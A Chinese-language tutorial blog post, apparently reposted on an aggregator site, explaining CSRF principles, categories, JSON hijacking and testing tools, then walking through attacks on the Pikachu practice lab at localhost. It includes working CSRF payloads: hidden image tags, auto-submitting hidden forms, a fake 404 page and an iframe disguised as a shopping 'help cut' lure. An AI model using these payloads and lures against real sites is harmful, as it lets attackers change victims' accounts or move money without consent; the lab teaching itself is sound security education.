(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

这篇具有很好参考价值的文章主要介绍了(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

CSRF

一、简介:

二、CSRF与XSS的区别:

XSS

CSRF

三、原理:

四、基本流程:

五、危害:

六、分类:

站外攻击:

站内攻击:

七、举例:

Get提交方法:

Post提交方法:

未进行CSRF-token验证

位置:

原理:

cookie中的token:

FLASH CSRF

属性:

Json劫持

简介:

获取数据的方式:

利用过程:

八、工具使用:

deemon

 下载地址:

简介:

CSRFTester

简介:

下载链接:

基本使用方法:

第一步:配置本地服务器的代理监听

第二步:开始记录 

​编辑

九、利用过程:

CSRF(GET)

 第一步:模拟用户(目标)登录

​编辑

第二步:获取修改提交的URL

第三步:构造恶意执行语句

第四步:将构造的URL诱骗用户点击

更多其他的伪装方法:

CSRF(POST)

 第一步:是要获得用户修改提交的URL

第二步:构造恶意执行语句

第三步:诱导用户点击


(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

今天学会一个词,失之毫厘谬以千里 


CSRF

一、简介:

CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。

不大流行,但如果被成功利用,危害更大。


1、在跨站点请求伪造(CSRF)攻击中,攻击者只需创建一个看似无害的网站,致使用户的浏览器直接向易受攻击的应用程序提交一个请求,执行某种有利于攻击者的无意操作。同源策略并不阻止一个网站向另一个域提出请求,但它确实阻止提出请求的网站处理跨域请求的响应,正常情况下,CSRF攻击只是一种“单向“ 攻击。

2、所以在纯粹的CSRF攻击中, 要想实施如XSS蠕虫中的多阶段操作,从响应中读取数据并将其合并到随后的请求中, 将很难实现

3、请求易于受到CSRF攻击可能有:请求执行特权操作、仅仅依靠HTTPcookie来追踪会话、攻击者可以确定执行操作所需的所有参数等。

4、针对这些特点表现出的缺陷, 攻击者可以构建一个Web页面,向易受攻击的应用程序提出一个跨域请求, 在其中包含执行特权操作所需的所有步骤。攻击将所有请求参数放入隐藏表单字段中, 并包含一段用于自动提交表单的脚本,用户的浏览器提交此表单时, 将自动添加用户的目标域的cookie,并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序,并访问攻击者的包含此表单的Web页面,该请求将在管理员的会话中处理,攻击者的账户因此得以创建

5、应用程序确认站外图像方面的漏洞称为 "检查时间,使用时间” 漏洞。因为某个数据在一个时间确认,却在另一个时间使用,导致攻击者能够在这两个时间的间隔内修改该数据的值


二、CSRF与XSS的区别:

XSS

通过盗取网站内的已有的用户的身份,然后再执行相关操作

CSRF

通过伪装(伪造、更改状态的请求)用户身份(即盗用身份),通过服务器身份认证后,然后发送恶意请求(服务器会认为请求是合法的),但是服务器给出响应肯定是给真实的那个用户,


三、原理:

在浏览器中cookie在一段时间内是不会过期(不关闭或者退出浏览器),再次访问都会默认登录,这个应该都有体验。如果在cookie存在期间,通过构造csrf脚本或包含csrf脚本的链接发送给用户,得到信息后,再伪造成用户身份,执行相关操作


四、基本流程:

用户在某网站A进行登录-------->身份验证成功,返回cookie给用户---------->攻击者构建一个网站F,诱使用户使用同一浏览器进入(前提:未退出网站A,一般都会有默认浏览器)------------->网站F收到用户请求后,返回恶意代码给用户,强制他访问网站A---------->用户浏览器在网站A上执行相关操作(以已经持有的cookie)


五、危害:

比如发消息、盗号、转账……等没有没有需要再次验证身份的基本操作。

再要验证身份的话,那就再社工……(搭建一个一模一样的网站……)


六、分类:

站外攻击:

因为考虑到用户体验感,就不会将用户限制的死死的,一定会开放一部分功能供使用,攻击者在站外构造脚本伪造请求,用户在攻击者构造的网站中触发伪造请求时,强制用户客户端就会发起请求(一般是在同一浏览器,而且某一用户登录上的未退出的网站)

站内攻击:

如果开发人员滥用$_REQUEST 类变量,以Post提交的数据表单,也支持Get传参。攻击者把预测的请求参数上传到站内贴子或留言的图片链接里,当用户浏览了含有请求参数的页面就强制发出这些请求。

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……


七、举例:

Get提交方法:

在你精心构造网页的事件里面,添加一些要求用户执行相关请求行为的链接

<a href="转款URL">砍一刀立赚200块</a>

这个标签把,也可以在其他里面,就是看哪里点击概率大

<img src="URL">

……

<meta charset='utf-8'>

<img src='./1.jpg'><br />

<img src='URL/bank/action.php?

username=xxx&money=10000&submit=%E4%BA%A4%E6%98%93'

alt='砍一刀赚200,这不冲'>

<meta>:可提供有关页面的元信息,位于头部。在 HTML 中,没有结束标签。  在 XHTML 中,必须被正确地关闭。

charset:编码

username、money:都是可能的参数名

alt:替代文本

Post提交方法:

post提交,一般都是提交到服务器的一些重要的东西

也可以在构造的网页里面有一个让别人容易相信的表单等post提交方法(不涉及很多私密东西)

用户提交post请求后,然后触发post伪造请求用户自己登录过的网站服务器,执行……

<meta charset='utf-8'>

<form name='csrf' action='URL/bank/action.php' method='post'>

<input type='hidden' name='xxxx' value='xxxx'>

<input type='hidden' name='money' value='10000'>

</form>

<script>document.csrf.submit()</script>

<img src="./1.jpg" ><br />

</form>:创建供用户输入的 HTML 表单

document:每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问

未进行CSRF-token验证

位置:

cookie、 form表单、 URL参数

原理:

当用post提交数据的时候,django会去检查是否有一个csrf的随机字符串,如果没有就会报错

cookie中的token:

cookie一般不会附带HttpOnly属性,因为如果服务器自己要想再在cookie里面提取东西就不行了

因为CSRF-toke是限制CSRF,所以我们就要通过一定方法拿到CSRF-toke,问题就解决了

所以我们需要结合其他手段进行获取,例如xss等

FLASH CSRF

属性:

AllowScriptAccess:控制Flash与HTML页面的通信(设置不当导致XSS)

AllowNetworking:控制Flash与外部网络的通信(设置不当导致CSRF)

Json劫持

简介:

又称“JSON Hijacking”(与CSRF类似),Json劫持是为了达到获取敏感数据的目的,而CSRF类似于钓鱼(愿者上钩)

简而言之,就是对数据进行窃取,转向发给自己

获取数据的方式:

xmlhttp:

{"username":"……","password":"……"}

script:

userinfo={"username":"……","password":"……"}

利用过程:

第一步:寻找网站对象,使用AJAX(一般为JSON传输数据)作为前端脚本

第二步:诱导用户进入钓鱼网站

第三步:劫持钓鱼网站中用户的数据

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

 (也爱爬山,山顶风景不是人人都可以看见的)


八、工具使用:

deemon

 下载地址:

链接地址:Deemon is a tool to detect CSRF in web applications(github.com)

简介:

这是Deemon的代码库,一个用于在Web应用程序中检测CSRF的工具。 Deemon是一种应用程序无关的自动框架,旨在由开发人员和安全分析师在软件开发生命周期的安全测试阶段使用。当前版本的Deemon支持使用MySQL数据库的基于PHP的Web应用程序


CSRFTester

简介:

CSRFTester是一款CSRF漏洞的测试工具.运行在windows上。

下载链接:

链接:https://pan.baidu.com/s/1zHV1qwXwviOS29akrbODbA?pwd=hj12 
提取码:hj12

基本使用方法:

第一步:配置本地服务器的代理监听

 (29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

第二步:开始记录 

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……


九、利用过程:

CSRF(GET)

 第一步:模拟用户(目标)登录

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

尝试修改个人信息

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

 在开发者模式中的网络中可以看见修改提交的URL

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

第二步:获取修改提交的URL

这个可以先自己提交的时候,然后找找提交修改的URL规律

不行的话,就结合xss等手段

第三步:构造恶意执行语句

http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=广州&email=123456qq.com&submit=submit

第四步:将构造的URL诱骗用户点击

在同一浏览器中打开这个URL将执行修改操作 

http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

更多其他的伪装方法:

写入html文件中,诱骗用户点击,并使用各种提示打消用户的疑虑

 //①伪装成错误页面(即404页面)

<html>
<head>
        <title>
            页面找不到
        </title>
</head>
<body>
<img src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" border="0"style="display:none;"/>
 
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

//②使用嵌套,让用户不易发现

duoduo.html

<html>
	<head>
		<title>
			某多多在线砍一刀
		</title>
	</head>
	<body>
		<a href="post.html">在线机器人帮助砍一刀,点击砍取!!!</a>
	</body>
</html>

post.html

<html>
	<head>
		<title>
			某多多助手
		</title>
	</head>
	<body>
		<p>请到某多多中查看砍一刀是否成功</p>
		<iframe/ src="http://localhost:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=12124123123&add=北京&email=123456qq.com&submit=submit" frameborder="0" width="0px">
	</body>
</html>

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

CSRF(POST)

 第一步:是要获得用户修改提交的URL

这个可以自己先提交一遍,尝试能不能分析出,不行就尝试社工

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……

第二步:构造恶意执行语句

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://localhost:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="1111111" />
    <input id="add" type="text" name="add" value="广州" />
    <input id="email" type="text" name="email" value="111111111" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

第三步:诱导用户点击

就已经执行了修改操作了

(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……文章来源地址https://www.toymoban.com/news/detail-474823.html

到了这里,关于(29.1)【CSRF详解】CSRF原理、利用过程、分类、举例、工具……的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【MATLAB数据处理实用案例详解(21)】——利用SOM自组织映射网络实现癌症样本数据分类和利用SOM自组织映射网络实现柴油机故障分类详解

    在网络结构上,自组织竞争网络一般是有输入和竞争层构成的单层网络,网络没有掩藏层,输入和竞争层之间的神经元实现双向链接,同时竞争层各神经元之间还存在横向连接。 自组织竞争网络的基本思想是网络竞争层各个神经元竞争对输入模式的响应机会,最后仅一个神经

    2024年02月05日
    浏览(32)
  • CSRF与XSS结合利用

    CSRF和XSS结合的JS代码: 登录cms管理员后台,创建一个新账户: 修改密码并用bp抓包,抓到的post请求包如下:

    2024年02月10日
    浏览(28)
  • 【深度学习】详解利用Matlab和Python中 LSTM 网络实现序列分类

    🔗 运行环境:Matlab、Python 🚩 撰写作者:左手の明天 🥇 精选专栏:《python》 🔥  推荐专栏:《算法研究》 🔐####  防伪水印——左手の明天 #### 🔐 💗 大家好🤗🤗🤗,我是 左手の明天 !好久不见💗 💗今天分享 Matlab深度学习 ——  LSTM 网络实现序列分类 💗

    2024年01月22日
    浏览(32)
  • 神经网络分类算法原理详解

    目录 神经网络分类算法原理详解 神经网络工作流程 反向传播算法 1) 反向传播原理

    2024年02月12日
    浏览(33)
  • 贝叶斯分类器(公式推导+举例应用)

    引言 在机器学习的世界中,有一类强大而受欢迎的算法——贝叶斯分类器,它倚仗着贝叶斯定理和朴素的独立性假设,成为解决分类问题的得力工具。这种算法的独特之处在于其对概率的建模,使得它在面对不确定性和大规模特征空间时表现卓越。 本文将深入探讨贝叶斯分

    2024年01月21日
    浏览(38)
  • 0day工具集(资源)介绍-0day漏洞利用原理(2)

    往期文章:  漏洞概述-0day漏洞利用原理(0)_luozhonghua2000的博客-CSDN博客 二进制概述-0day漏洞利用原理(1)_luozhonghua2000的博客-CSDN博客  上篇已介绍了Lord PE这篇集中必要的工具。 推荐:OllyDBG完美教程(超强入门级)_「已注销」的博客-CSDN博客 OD使用教程_哔哩哔哩_bilibili OllyDbg 帮助

    2024年02月06日
    浏览(33)
  • CSRF(跨站请求伪造)原理

    (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式

    2023年04月08日
    浏览(37)
  • 深度学习之详解常见梯度算法(概念、公式、原理、算法实现过程)

    目录 前言 一、如何实现梯度下降? 二、梯度计算 三、常见的梯度公式及梯度算法 常见的梯度公式: 1.标量对向量的梯度: 2. 标量对矩阵的梯度: 3. 向量对标量的梯度: 常见梯度算法: 四、常见梯度算法实现  1、批量梯度下降算法实现函数 2、随机梯度下降算法实现函数

    2024年04月15日
    浏览(34)
  • 基础安全:CSRF攻击原理与防范

    CSRF ( Cross-Site Request Forgery )中文名为“跨站请求伪造”。这是一种常见的网络攻击手段,攻击者通过构造恶意请求,诱骗已登录的合法用户在不知情的情况下执行非本意的操作。这种攻击方式利用了Web应用程序中用户身份验证的漏洞,即浏览器在用户完成登录后会自动携带

    2024年04月28日
    浏览(31)
  • Spring Cloud - Eureka原理、注册、搭建、应用(全过程详解)

    目录 一、Eureka 注册原理 1.1、为什么要使用 Eureka 1.2、Eureka 的工作流程及原理 1.3、eureka 的作用 二、具体实现 2.1、搭建注册中心 2.2、服务注册和部署 2.2.1、user-service 服务注册 2.2.2、服务部署 2.2.3、order-service 服务注册 2.2.4、验证服务 2.3、服务发现 2.3.1、在order-service完成服务

    2024年02月11日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包